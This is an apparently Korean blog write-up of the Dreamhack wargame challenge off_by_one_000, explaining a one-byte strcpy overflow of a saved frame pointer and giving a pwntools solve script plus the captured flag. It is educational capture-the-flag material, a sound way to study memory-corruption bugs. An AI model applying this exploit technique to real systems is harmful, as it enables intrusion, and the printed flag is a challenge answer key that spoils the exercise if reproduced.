Description

    이 문제는 서버에서 작동하고 있는 서비스(off_by_one_000)의 바이너리와 소스 코드가 주어집니다.
    프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
    셸을 획득한 후, “flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.


    checksec

    seo@seo-virtual-machine:~/Desktop/off_by_one$ checksec --file ./off_by_one_000
    [*] '/home/seo/Desktop/off_by_one/off_by_one_000'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

    Decompiled-src

    main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      initialize();
      printf("Name: ");
      read(0, cp_name, 256u);
      cpy();
      printf("Name: %s", cp_name);
      return 0;
    }

    “Name: “을 출력하고,
    전역변수인 cp_name변수에 read함수를 통해 256바이트만큼 입력받는다.

    cpy() 를 호출하고,
    다시 printf 함수를 통해 cp_name 데이터를 출력한다.

    cpy

    int cpy()
    {
      char dest[256]; // [esp+0h] [ebp-100h] BYREF
    
      strcpy(dest, cp_name);
      return 0;
    }

    cp_name 문자열을 지역변수인 dest에 복사하는데, 여기서 취약점이 발생한다.

    strcpy는 몇 바이트까지 복사하라는 조건 없이 \x00, 즉 NULL을 만날때까지 복사한다.
    cpy함수의 dest가 256바이트 크기이지만,
    복사된 문자열은 256개의 char + \x00이 되므로 1byte 오버플로우가 발생한다.


    Stack


    Solution

    실제로 AAAA…를 256바이트만큼 입력받으면,
    cpy’s ebp에 하위 1바이트가 \x00으로 덮어써지는 것을 확인할 수 있다.

    cpy의 에필로그까지 수행되고 다시 main으로 복귀했을때,
    main’s EBP가 하위1바이트가 덮어써졌기 때문에 dest 스택의 한 지점(dest+0x20)을 가리키게 된다.

    (dest = 0xffffcfe0, dest+0x20 = 0xffffd000)

    Main의 에필로그가 수행된다면,

    leave에 의해,

    (mov esp, ebp;)
    esp 값은 ebp값(dest+0x20 주소)이 들어가게 되고,

    (pop ebp;)
    stack pointer인 esp는 1 dword 위로 올라가며,
    이제 esp는 dest+0x24 주소를 가리키게 된다.

    마지막으로 retn에 의해,
    (pop eip; jmp eip;)

    스택에 저장된 복귀주소인 dest+0x24 주소의 값으로 점프한다.

    dest+0x24 주소는 POP 되어 그 주소의 값이 RIP에 저장되고,
    stack pointer는 한번더 1 dword 위로 올라간다.

    이렇게 EIP값이 컨트롤되는 것을 확인할 수 있었다.

    다시 한번 정리해서 공격 페이로드를 짜본다면,
    256바이트만큼 cp_name을 입력받아 cpy의 dest에 문자열을 복사할때,
    \x00까지 복사시켜 cpy’s EBP 중 하위 1바이트를 \x00으로 덮어쓰게 만든다.

    그러면, main에서 에필로그를 수행하고나면, eip는 dest의 어느 한 지점을 가리키기 때문에
    처음에 cp_name을 입력받을때, (get_shell 주소 4바이트) * 64만큼 채우면 된다.

    ASLR 보호기법이 걸려있지 않아 그대로 get_shell 주소를 넣어주면 된다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./off_by_one_000")
    p = remote('host3.dreamhack.games', 9340)
    get_shell = 0x80485DB
    
    p.recvuntil("Name: ")
    
    payload = b""
    payload += p32(get_shell) * 256
    
    p.sendline(payload)
    
    p.interactive()

    Result

    seo@seo-virtual-machine:~/Desktop/off_by_one$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 9340: Done
    [*] Switching to interactive mode
    Name: ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0ۅ\x0$ ls
    flag
    off_by_one_000
    $ cat flag
    DH{fef043d0dbe030d01756c23b78a660ae}$  

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다